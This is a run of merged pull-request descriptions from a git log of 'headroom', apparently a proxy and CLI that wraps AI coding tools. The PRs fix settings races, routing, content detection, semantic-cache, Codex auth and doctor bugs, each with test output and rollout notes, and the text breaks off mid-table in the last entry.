## Runtime Rollout Safety

- Rollout-managed feature(s): None changed. The shaper itself is opt-in;
this PR only changes how and where its ledger persistence happens.
- Minimum rollout channel: Stable.
- Stable/default behavior changed: No. With output shaping disabled the
funnel never reaches this code path; when enabled, identical data is
persisted — written atomically instead of truncating, and off the event
loop.
- Kill switch / disable path: Unset `HEADROOM_OUTPUT_SHAPER` (or disable
the `proxy_output_shaper` rollout flag); the recorder then neither
records nor flushes.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this single commit; the on-disk ledger format is
unchanged, so no data migration is involved either way.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

- Two failures seen while running neighbouring suites locally
(`tests/test_stateless_writers.py::test_memory_disabled_under_stateless`,
`tests/test_5xx_accounting_all_providers.py::test_gemini_count_tokens_handler_threads_real_529_onto_outcome`)
reproduce on pristine upstream/main without this patch — pre-existing,
not introduced here.
- Known adjacent shapes deliberately left out of scope:
`get_recorder().estimate()` in the `/stats` payload also reads the
ledger file inline (already exception-guarded there), and
`SavingsRecorder.flush()` is not yet wired into graceful shutdown.
2026-08-23 22:43:58 -07:00
Tejas Chopra
f27f235032
fix(wrap): stop concurrent wrap sessions clobbering settings.local.json (#3232)
## Description

Several `headroom wrap` sessions in one project each write the proxy URL
into
`.claude/settings.local.json` and restore it on exit. That
read-modify-write was
unsynchronised. The write itself is atomic so the file never tears, but
the
updates were still lost against each other:

- **Live sessions were silently unrouted.** The first session to exit
deleted the
key while its siblings were still running. They kept working, but their
traffic
  stopped going through the proxy — no error, no warning, no savings.
- **A dead proxy was written back into the project.** A session that
started
second captured the *first* session's proxy URL as "the original", so
its exit
restored a URL pointing at a port that was already gone. Every later
session in
  that project then failed to connect.
- **SIGTERM/SIGHUP never ran the restore at all.** `cleanup` was
registered as the
handler, but a Python signal handler that returns normally does not
unwind the
stack — under PEP 475 the interrupted `waitpid` is simply retried. The
`finally`
block that restores `settings.local.json` never ran, while the handler
had
  already terminated the proxy underneath a child that was still alive.

Closes #3205

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`_wrap_settings_lock`** — an exclusive OS lock (flock /
`msvcrt.locking`) held
across the settings read-modify-write. A workspace that cannot hold lock
state
  degrades to the previous behaviour rather than failing, matching
  `_proxy_start_lock`.
- **`.headroom_wrap_owners.json`** — a sidecar recording, per env key,
the true
pre-wrap `original` plus the live sessions holding it. The first writer
records
the original; later writers inherit it and are flagged `inherited`, so
no
session restores a value it did not observe first-hand. A session exits
without
restoring while a sibling still holds the key. Dead holders are pruned
with the
same conservative PID+identity liveness the proxy-client markers use, so
a
  SIGKILLed session cannot wedge the key.
- **`unwrap` passes `force=True`** — unwrap is the user explicitly
asking for
their settings back, so it drops every claim instead of deferring to a
live
sibling and silently printing success while leaving the proxy URL in the
file.
- **The #2221 self-heal passes `dead_ports`** — a wrapper process can
outlive its
proxy (proxy alone SIGKILLed). Its claim would otherwise veto the
self-heal and
  leave `ANTHROPIC_BASE_URL` pointing at a port just proven dead.
- **`_rehome_wrap_marker`** — the wrap marker has one slot, won by the
last
writer. When that writer exits while a sibling still owns the key, the
marker is
rewritten to describe the survivor (carrying the record's true
original), so the
survivor keeps its #2221 self-heal record instead of being left with a
marker
  describing a dead process.
- **`_exit_on_signal`** replaces `cleanup` as the SIGTERM/SIGHUP
handler. Raising
`SystemExit` unwinds, so the settings restore actually runs and cleanup
happens
  exactly once from `finally`.
- **`_proxy_start_lock` now shares `_locked_file`** with the new
settings lock
  rather than carrying a second verbatim copy of the platform branches.

## Testing

- [x] Unit tests pass (`pytest`) — full suite, 11518 passed / 588
skipped
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

`tests/test_wrap_concurrent_settings.py` (14 tests) covers: a sibling
exit leaving
survivors routed, the last session out restoring the true original, a
pre-existing
user URL surviving the whole cycle, three sessions in every exit order,
a crashed
session not wedging the key, forced unwrap past a live session, a holder
that
outlived its proxy not vetoing the self-heal, marker rehoming, and the
signal-handler unwind.

### Test Output

```text
$ uv run pytest tests/test_cli/test_unwrap_claude.py tests/test_cli/test_wrap_claude_base_url.py \
    tests/test_cli/test_wrap_claude_finally_unbound.py tests/test_cli/test_wrap_claude_vertex_proxy_env.py \
    tests/test_cli/test_wrap_claude.py tests/test_cli/test_wrap_dead_marker_selfheal.py \
    tests/test_cli/test_wrap_helpers.py tests/test_cli/test_wrap_stale_marker.py \
    tests/test_cli/test_wrap_persistent.py tests/test_wrap_concurrent_settings.py tests/test_cli_doctor.py -q

tests/test_wrap_concurrent_settings.py ..............                    [ 72%]
tests/test_cli_doctor.py ............................................... [ 89%]
...............................                                          [100%]

============================= 285 passed in 3.01s ==============================

$ uv run pytest tests/ -q
======== 11518 passed, 588 skipped, 6036 warnings in 1831.34s (0:30:31) ========

$ uv run ruff check .
All checks passed!

$ uv run mypy headroom
Success: no issues found in 527 source files
```

## Real Behavior Proof

- **Environment:** macOS 15 (Darwin 25.4.0), Python 3.12.13, repo venv,
Claude
  provider path (`ANTHROPIC_BASE_URL` in `.claude/settings.local.json`).
- **Exact command / steps:** a script spawning **two real OS processes**
— no
  mocks, real PIDs, real files — that call the same
`_write_claude_wrap_base_url` / `_restore_claude_wrap_base_url` helpers
`wrap claude` uses. The project starts with a real user gateway already
set.
Session A (port 8787) starts, session B (port 8788) starts 0.7s later, A
exits
while B is still running, then B exits. Run identically on `main` and on
this
  branch.

**Before (on `main`) — both bugs visible:**

```text
start                       : {"ANTHROPIC_BASE_URL": "https://my-gateway.example.com"}
  session port=8787 started, remembers previous='https://my-gateway.example.com'
  session port=8788 started, remembers previous='http://127.0.0.1:8787'
both sessions running       : {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8788"}
  session port=8787 exited
after FIRST session exits   : {"ANTHROPIC_BASE_URL": "https://my-gateway.example.com"}
  session port=8788 exited
after LAST session exits    : {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8787"}
```

Session B is still running, but after A exits the proxy URL is gone from
under it
— B is unrouted with no error. And the final state is
`http://127.0.0.1:8787`: a
dead proxy left permanently in the user's project, with their real
gateway lost.

**After (this branch):**

```text
start                       : {"ANTHROPIC_BASE_URL": "https://my-gateway.example.com"}
  session port=8787 started, remembers previous='https://my-gateway.example.com'
  session port=8788 started, remembers previous='http://127.0.0.1:8787'
both sessions running       : {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8788"}
  session port=8787 exited
after FIRST session exits   : {"ANTHROPIC_BASE_URL": "http://127.0.0.1:8788"}
  session port=8788 exited
after LAST session exits    : {"ANTHROPIC_BASE_URL": "https://my-gateway.example.com"}
```

B stays routed after A exits, and the last session out restores the
user's real
gateway.

- **Observed result:** matches the intent on both counts — no unrouting,
no dead
  proxy residue, user's pre-existing URL preserved.
- **Not tested:** Windows (`msvcrt.locking`) — the lock and dead-holder
pruning
  are exercised on POSIX only; the Windows branch is the same code path
`_proxy_start_lock` has shipped with. No live end-to-end run against a
real
Anthropic endpoint with two concurrent `claude` CLIs; the proof above
drives the
same helpers out of two real processes instead. Foundry/Vertex key
variants are
covered by unit tests, not by a live run. Real SIGTERM/SIGHUP delivery
to a
running `wrap claude` was not exercised end to end — the handler's
unwind is
covered by a unit test, and full signal delivery would need a spawned
and
  killed subprocess, which the existing #1768 test also declined to do.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none — this is an unconditional
correctness fix
  on the wrap settings path.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** yes, three ways. (1) A wrap
session exiting
while a sibling holds the key now leaves the key in place instead of
removing
  it. (2) SIGTERM/SIGHUP now unwinds, so the child CLI is terminated by
  `subprocess.run`'s cleanup rather than being left running against a
  torn-down proxy. (3) Two new sidecar files appear next to
`settings.local.json`: `.headroom_wrap_owners.json` (removed when the
last
holder exits) and `.headroom_wrap_settings.lock` (retained by design —
deleting
  a live lock file creates an inode-replacement race).
- **Kill switch / disable path:** none. A workspace where the lock file
cannot be
created degrades to the previous unsynchronised behaviour automatically.
- **Unsafe override required:** no.
- **Qualification impact:** none beyond the wrap settings path.
- **Rollback path:** revert the commit; the sidecar files are ignored by
older
  versions and can be deleted safely.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`

## Additional Notes

- The ownership record is keyed per env key, so `ANTHROPIC_BASE_URL`,
the
Foundry/Vertex variants and the tool-search entry are tracked
independently.
- Documentation: the behaviour is documented in the helper docstrings
rather than
user-facing docs — the sidecar files are internal state a user never
configures.
- Follow-up worth considering: `.headroom_wrap_settings.lock` is
intentionally
never deleted (matching `_proxy_start_lock`'s retention rationale), so
it stays
in `.claude/` after `unwrap`. Removing it safely needs a separate think
about
  the inode-replacement race.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-23 22:36:17 -07:00
Rod Boev
701e4616d9
fix(kimi): route managed Kimi Code through the proxy (#3223)
## Description

Managed Kimi Code reads KIMI_CODE_BASE_URL while headroom wrap kimi
previously supplied only KIMI_BASE_URL. The managed client can therefore
keep its direct endpoint while the wrapper appears healthy. Emit both
provider-owned keys and recompute them through the existing launch
callback at the proxy's actual port. Preserve the legacy route and
unrelated wrappers. Closes #3207

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (feature that would cause existing behavior to
change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Set KIMI_CODE_BASE_URL and KIMI_BASE_URL from one project-aware proxy
URL.
- Recompute both values and their display lines through the Kimi
configure_launch callback after port fallback.
- Remove the generic display rewrite from _launch_tool so other wrappers
retain their base behavior.
- Add production-boundary child, fallback-port, legacy-preservation, and
non-Kimi negative-space tests.

## Testing

- [x] Unit tests pass (`uv run pytest tests/test_cli/test_wrap_kimi.py
-q`)
- [x] Linting passes (`uv run ruff check .`)
- [ ] Type checking passes (`uv run mypy headroom`)
- [x] New tests added for the regression
- [x] Manual testing performed through the production subprocess
boundary

### Test Output

```text
uv run pytest tests/test_cli/test_wrap_kimi.py -q
10 passed in 0.40s
uv run pytest tests/test_cli/test_wrap_grok.py -q
2 passed
uv run ruff check .
All checks passed!
uv run ruff format . --check
1534 files already formatted
git diff --check
```

## Real Behavior Proof

- Environment: Windows, isolated Kimi wrapper subprocess harness.
- Exact command / steps: launch a contract-compatible child through the
Kimi wrapper; exercise requested and fallback ports, project prefixes,
legacy selection, and a non-Kimi wrapper.
- Observed result: the child receives the effective project-aware proxy
URL in both Kimi keys; the displayed URL matches it after fallback;
legacy and non-Kimi behavior remain unchanged.
- Not tested: live authenticated Kimi Code managed request

## Runtime Rollout Safety

- Rollout-managed feature(s): None; managed Kimi Code routing is
selected by the existing wrapper mode.
- Minimum rollout channel: Stable; no staged rollout mechanism exists
for this wrapper path.
- Stable/default behavior changed: Yes, managed Kimi Code launches now
receive the effective proxy URL in both provider-owned keys.
- Kill switch / disable path: Stop using the managed Kimi wrapper path
or revert the release commit.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the release commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I have updated the CHANGELOG.md if applicable

## Additional Notes

Kimi Code owns OAuth credentials and the /login flow. Headroom does not
read or modify Kimi config or credential files. The changelog is
generated by the release pipeline.
2026-08-23 19:55:14 -07:00
Raúl
7784bb1846
fix(transforms): stop folding datetime-prefixed user messages as search results (#3221)
## Description

Interactive `headroom wrap copilot` sessions intermittently lose the
user's message: the model answers "How can I help you today?" to a real
task prompt. Root cause: Copilot CLI prepends
`<current_datetime>…</current_datetime>` to every interactive user turn;
the ISO-8601 timestamp matches the grep `file:line:` detector, so a
datetime + one-line prompt (1 match / 2 non-empty lines = 50% ≥ 30%)
classifies as `SEARCH_RESULTS`, and `SearchCompressor` — which keeps
only detector-matching lines — deletes the prompt before upstream. On
the OpenAI chat streaming path there is no retrieval tool, so the loss
is unrecoverable.

Fix: `_try_detect_search` now (a) requires the pre-colon segment to look
like a file path (no `<`, `>`, `=`), and (b) requires at least two
matching lines, so one coincidental `word:digits:` line can no longer
classify a whole payload. A genuine one-line grep result loses nothing:
all its lines match, so the compressor would have kept it verbatim
anyway.

Closes #3220

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/transforms/content_detector.py`: new
`_is_search_result_line` helper (path-like prefix gate);
`_try_detect_search` gains a two-matching-line absolute floor.
- `tests/test_transforms_content_detection.py`: regression tests —
datetime-prefixed one-liner not search; two-line floor; tag-like /
`key=value` prefixes rejected; genuine grep output still detected.
- `tests/test_transforms_content_router.py`: router-level regression —
the incident payload never routes to SEARCH and the prose survives
`ContentRouter().compress()`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ .venv/bin/python -m pytest tests/test_transforms_content_detection.py tests/test_transforms_content_router.py tests/test_mixed_content_sections.py tests/test_text_compressors.py tests/test_transforms_tabular.py -q
135 passed in 21.06s

$ .venv/bin/ruff check headroom/transforms/content_detector.py tests/test_transforms_content_detection.py tests/test_transforms_content_router.py
All checks passed!

$ .venv/bin/mypy headroom/transforms/content_detector.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 26.5 arm64, Python 3.13, editable source build
0.37.0-dev; upstream `api.githubcopilot.com`, cheapest subscription
model `kimi-k2.7-code`.
- Exact command / steps: standalone copilot-routed proxy
(`OPENAI_TARGET_API_URL=https://api.githubcopilot.com headroom proxy
--port 8899`) + `.overlay/e2e-copilot-content-probe.sh --port 8899
--model kimi-k2.7-code`, which sends the real interactive wire shape
(`<current_datetime>…` + one-line sentinel prompt, streaming) and a
multi-line control.
- Observed result: BEFORE the fix, probe 1 FAIL — model replied "Hello!
I see the current datetime is … How can I assist you today?" with proxy
log `transforms=router:search:0.50` (prompt deleted). AFTER the fix,
both probes PASS — the sentinel echoes verbatim, proving the user
message reached upstream intact.
- Not tested: other harnesses' interactive wrappers (claude/droid/auggie
send different shapes; the detector fix is generic); the mixed-content
section splitter has its own grep pattern (out of scope — its 1-line
"search" sections are kept verbatim, no data loss).

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A (no flag).
- Stable/default behavior changed: content with exactly one
`path:line:`-shaped line no longer classifies as search results (stays
uncompressed instead — safe direction; compression only ever engages on
≥2 matching lines now).
- Kill switch / disable path: N/A.
- Unsafe override required: no.
- Qualification impact: none.
- Rollback path: revert; prior behavior restores (with the bug).

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — proxy transform change; no UI.

## Additional Notes

Detection-precision tradeoff is documented in code comments: single-line
genuine grep output is no longer folded (no data loss either way — the
compressor keeps all-matching content verbatim). A residual edge (prose
with ≥2 coincidental `x:1:` lines in ≤6 lines) is accepted and
documented in the issue.
2026-08-23 11:53:17 -07:00
Rod Boev
7550efb68f
fix(mcp): add explicit Serena reconciliation (#3222)
## Description

Headroom repeatedly warns about user-managed Serena drift but has no
scoped remediation command. Add a Claude-only read-only mcp reconcile
command with explicit --adopt consent, using the canonical Serena spec
and existing Claude registrar. Adoption validates every relevant ledger
and Claude config root before mutation, writes only the Serena entry,
and records ownership after the config write succeeds. Automatic wrap
migration and ordinary install remain unchanged. Closes #3054

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (feature that would cause existing behavior to
change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Add Claude-only `headroom mcp reconcile`, read-only by default, with
`--adopt` as its only mutation action.
- Reuse the shared `CLAUDE_SERENA_CONTEXT` and canonical Claude Serena
spec builder.
- Fail closed on malformed or unreadable ledger/config state before
adoption.
- Preserve automatic wrap recovery, user-managed warnings, ordinary `mcp
install --force`, unrelated Claude config, and corrupt-ledger tolerance
outside explicit adoption.
- Record Headroom ownership only after a successful registrar write.

## Testing

- [x] Unit tests pass (`uv run pytest
tests/test_cli/test_mcp_reconcile.py
tests/test_cli/test_serena_reconcile.py
tests/test_mcp_registry/test_ledger.py`)
- [x] Linting passes (`uv run ruff check .`)
- [ ] Type checking passes (`uv run mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed through the file-backed Claude registrar

### Test Output

```text
uv run pytest tests/test_cli/test_mcp_reconcile.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_mcp_registry/test_claude_registrar.py tests/test_mcp_registry/test_install.py -q
102 passed in 0.70s
uv run ruff check headroom/mcp_registry/ledger.py headroom/cli/wrap.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_cli/test_mcp_reconcile.py
All checks passed!
uv run ruff format --check headroom/mcp_registry/ledger.py headroom/cli/wrap.py tests/test_mcp_registry/test_ledger.py tests/test_cli/test_serena_reconcile.py tests/test_cli/test_mcp_reconcile.py
5 files already formatted
git diff --check
```

## Real Behavior Proof

- Environment: Windows, file-backed Claude configuration and isolated
MCP ledger.
- Exact command / steps: run the stale user-managed Serena fixture from
`tests/fixtures/headroom-issue-3054.json`; run read-only reconcile; run
`mcp reconcile --adopt`; rerun wrap and ordinary `mcp install --force`;
exercise malformed JSON, non-dict `mcpServers`, null ledger agents, and
unreadable-ledger adoption.
- Observed result: read-only reconciliation leaves config and ledger
bytes unchanged; adoption updates only Claude Serena and records
ownership after a successful write; automatic wrap remains lenient;
unsafe adoption inputs leave all files unchanged; ordinary install does
not adopt Serena.
- Not tested: live Claude CLI acceptance and Serena stdio handshake

## Runtime Rollout Safety

- Rollout-managed feature(s): None; explicit `mcp reconcile --adopt` is
the only mutation path.
- Minimum rollout channel: Stable; no staged rollout mechanism exists
for this command.
- Stable/default behavior changed: No, read-only reconcile is the
default and automatic wrap plus ordinary install remain unchanged.
- Kill switch / disable path: Do not invoke `--adopt` or revert the
release commit.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the release commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I have updated the CHANGELOG.md if applicable

## Additional Notes

The changelog is generated by the release pipeline. This change is
limited to Claude Serena reconciliation and does not add a new
persistent acknowledgement state or a multi-provider adoption route.
2026-08-23 11:52:50 -07:00
Abhay Singh
455f4f263c
fix(cache/semantic): don't semantic-match an empty query across contexts (#3226)
## Description

`SemanticCache.get()` matches on the **embedding of the last user
message** whenever an `embedding_fn` is wired. That query is empty
(`""`) for the overwhelming majority of agent/tool turns — a
`tool_result` continuation carries no text block, so
`SemanticCacheLayer._extract_query` returns `""`. A real sentence
embedder maps `""` to a fixed **non-zero** vector, so every empty-query
turn is ~identical to every other in embedding space. The exact
`messages_hash` guard (correctly chosen so `"continue"`/`"yes"` turns in
different contexts don't collide) is then bypassed by the semantic path:
an empty-query request misses on its unique hash, falls through to
embedding matching, and hits a **different conversation's** stored
response.

Reproduction (realistic embedder, non-zero for `""`):

```python
c = SemanticCache(embedding_fn=embed)
c.put(query="", response={"answer": "A"}, messages_hash="ctxA")   # conversation A
c.get(query="", messages_hash="ctxB")   # conversation B, different context
# -> returned A's response (cross-context false hit)
```

Measured on 330 real Claude Code transcripts (28,441 requests): **95.7%
have an empty extracted query**, so this is the dominant case, not a
corner case. The exact-hash path is unaffected; only the
embedding-similarity path is.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/cache/semantic.py`:
- `get()`: gate the semantic-similarity branch on `query.strip()` — an
empty/blank query can only ever hit via its exact `messages_hash`
(context-complete), never via embedding similarity.
- `put()`: store no embedding for an empty/blank query, so such an entry
is skipped by `_find_similar` (which ignores entries with no embedding)
and can never be a match target.
- `tests/test_cache/test_semantic.py`: added
`test_empty_query_never_semantic_matches` (cross-context empty-query
miss, exact-hash still hits, whitespace treated as empty).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
tests/test_cache/test_semantic.py  ->  22 passed in 2.39s
uvx ruff@0.16.2 check headroom/cache/semantic.py tests/test_cache/test_semantic.py  ->  All checks passed!
uvx mypy@1.20.2 headroom/cache/semantic.py  ->  Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.16.2 and mypy 1.20.2 via uvx.
- Exact command / steps: before the fix, two different-context
empty-query requests (`ctxA` then `ctxB`) returned `ctxA`'s response via
the embedding path. After the fix, the second returns `None`, while
`ctxA`'s own exact-hash lookup still returns its response, and a
legitimate non-empty semantic hit (`"What is the weather today?"` ->
`"How is the weather?"`) still works.
- Observed result: empty/blank queries no longer semantic-match across
contexts; exact-hash and non-empty semantic matching are unchanged.
- Not tested: no live embedder model wired (the current client wires
none — the embedding path is exercised with an injected `embedding_fn`,
which is the documented usage).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `SemanticCache` is an SDK-side cache
(`headroom.cache`), not a rollout-channel-gated runtime feature;
semantic matching only runs when a caller injects an `embedding_fn`.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: no. Exact-hash matching and non-empty
semantic matching are unchanged; only empty/blank-query semantic
matching (a false-hit source) is removed.
- Kill switch / disable path: N/A.
- Unsafe override required: no.
- Qualification impact: none; correctness-only.
- Rollback path: revert this PR.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (N/A:
internal behavior)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`
2026-08-23 11:51:33 -07:00
Tejas Chopra
2f81fa5931
fix(codex): detect ChatGPT auth from id_token claims so wrap/init emit requires_openai_auth (#3212)
Fixes #3206.

## The report

`headroom wrap codex` / `init codex` write a provider block without
`requires_openai_auth = true`. Codex then attaches **no `Authorization`
header**, and every request through the proxy 401s:

```
unexpected status 401 Unauthorized: Missing bearer or basic authentication in header
```

Silently — `headroom doctor` reported green throughout. The reporter
lost ~15h of scheduled Codex automation before bisecting it.

## Not the fix the issue suggested

The issue proposes adding the line unconditionally. **That would
re-break API-key users**, which is the regression `requires_openai_auth`
was made conditional for in the first place (#406) — the flag forces
Codex to demand an OpenAI OAuth login.

All three writers (install provider-scope, `init codex`, `wrap codex`)
*already* call `codex_uses_chatgpt_auth()` and emit the key when it
returns True. **The bug is in the detection, not the writers.**

## Root cause

`codex_uses_chatgpt_auth` recognised two shapes:

1. `auth_mode == "chatgpt"`
2. a top-level `tokens.account_id`

Newer Codex can write an `auth.json` with **neither** — the account
identity lives only in the `id_token` claims, under
`https://api.openai.com/auth.chatgpt_account_id`. That config reads as
API-key mode, the flag is omitted, and every request 401s.

Verified against a real `auth.json`: the JWT claim carries the *same*
account id as the top-level key, so it is a faithful signal for the
shape that lacks it.

## Fix

A third detection tier, consulted only when the first two are absent:

| Shape | Before | After |
|---|---|---|
| `auth_mode = "chatgpt"` | True | True |
| legacy `tokens.account_id` | True | True |
| **only the `id_token` claim** | **False** ← the bug | **True** |
| `auth_mode = "apikey"` + ChatGPT id_token | False | **False** (#406
stays closed) |
| API key, no tokens | False | False |
| id_token without the claim / malformed / blank id | False | False |

The payload is **decoded, not verified**. It is a local file the user
already owns, and the result only chooses which key we write into their
own `config.toml` — nothing is authenticated or authorised on the
strength of it. An API-key user has no ChatGPT id_token, so this cannot
resurrect #406, and an explicit `auth_mode` still wins outright (pinned
by test).

## Doctor stops reporting a false green

This failure is invisible from every other signal — proxy up, provider
block present. So the codex check now WARNs when the config is routed,
the user is on ChatGPT auth, **and** the block lacks the flag, naming
the re-run that repairs it.

It only runs when the flag is already missing, and the keyring fallback
it can reach is bounded by an existing 3s timeout, so `doctor` stays
fast. API-key users are never nagged.

## Existing configs

Self-healing — all three writers strip and regenerate the managed block
on every run, so re-running `wrap`/`init` emits the key now that
detection is correct. No separate migration needed.

## Testing

99 passing across the two suites. Confirmed **discriminating**: 3 of the
new tests fail against unfixed source and pass after —

- `test_chatgpt_auth_detected_from_id_token_claims_alone`
- `test_provider_block_emits_requires_openai_auth_for_the_new_shape`
-
`TestCodexRouting::test_chatgpt_auth_without_requires_openai_auth_warns`

plus explicit coverage for the #406 guard, malformed tokens, blank
account ids, and the API-key-not-nagged case.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-22 15:29:54 -07:00
Tejas Chopra
8f3e33a00e
fix(doctor): report project-scoped Claude routing instead of a false negative (#3213)
Refs #3205 — **issue 2 of 2**. The `wrap`-session crashes reported in
that issue are *not* addressed here; see the note at the bottom.

## The report

A session routed via `headroom init claude` was reported by `headroom
doctor` as **not routed**, while it demonstrably was:

- `ps eww` on the live `claude` process showed
`ANTHROPIC_BASE_URL=http://127.0.0.1:8787`
- the `mcp__headroom__*` tools were present and firing
- `headroom_stats` showed **164 of 174 requests compressed** on that
very session

The cost wasn't cosmetic. The team believed 3 of 4 sessions were
unrouted on doctor's word, and hand-checked `ps eww` plus MCP tool
presence on each one to find the real state.

## Root cause — a scope mismatch

| | Path |
|---|---|
| `init claude` (non-global) **writes** |
`./.claude/settings.local.json` |
| `doctor` **read** | `~/.claude/settings.json` only |

Claude Code layers project settings over user settings, so
project-scoped routing — what `init` writes by default — was invisible
to the check.

## Fix

`check_claude_routing` now takes the project-scoped candidates and
consults them in **Claude's own precedence order** (project-local,
project, then user), reporting the first that carries
`ANTHROPIC_BASE_URL`. The summary names the file that supplied it, so
which scope is in effect is never ambiguous — that ambiguity is what
made this expensive to diagnose.

Reading more files must not turn a routed session into a crash or a
silent skip:

- a per-file parse failure is surfaced verbatim (`could not parse …`)
rather than swallowed into the misleading "not routed"
- the non-dict guard is preserved **per file** — a hand-edited settings
file containing `[]` or `null` would otherwise raise `AttributeError`
inside the very command run to diagnose it
- a missing project file is skipped, not fatal

The third argument is optional and defaults to the previous single-file
behaviour, so existing callers and tests are unaffected.

## Not scraping `ps`

The reporter suggested inspecting live `claude` process environments.
That isn't needed and would be platform-specific — the routing is
written to a file whose path we already know. The gap was that we read
the wrong scope, so that's what this fixes.

## Testing

86 passing. Confirmed **discriminating** — all 7 new tests fail against
unfixed `doctor.py` and pass after:

| Test | Covers |
|---|---|
| project-local counts as routed | the reported bug |
| project `settings.json` counts as routed | the other project file |
| project takes precedence over user | Claude's layering |
| falls back to user when project has no base URL | no false positive |
| still warns when nothing routes | no blanket pass |
| missing project file skipped | not fatal |
| unparseable project file surfaces | not silently "not routed" |
| no project paths → original behaviour | backward compatibility |

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-22 15:25:47 -07:00
Tejas Chopra
5d25abd356
test: repair three suite failures that are red on main (#3196)
## Summary

Three tests fail on a clean `main` full-suite run. None is a product
defect — all three are tests that stopped describing reality, and they
will noise up or block the 0.36.4 release.

| Test | Why it fails | Fix |
|---|---|---|
| `test_release_workflows::test_no_native_tls_in_wheel_build_tree` |
Shells out to `cargo`; raises `FileNotFoundError` wherever the Rust
toolchain is absent | Copied the skip guards its own dual already had |
|
`test_learn/test_integration::TestCodexIntegration::test_full_pipeline`
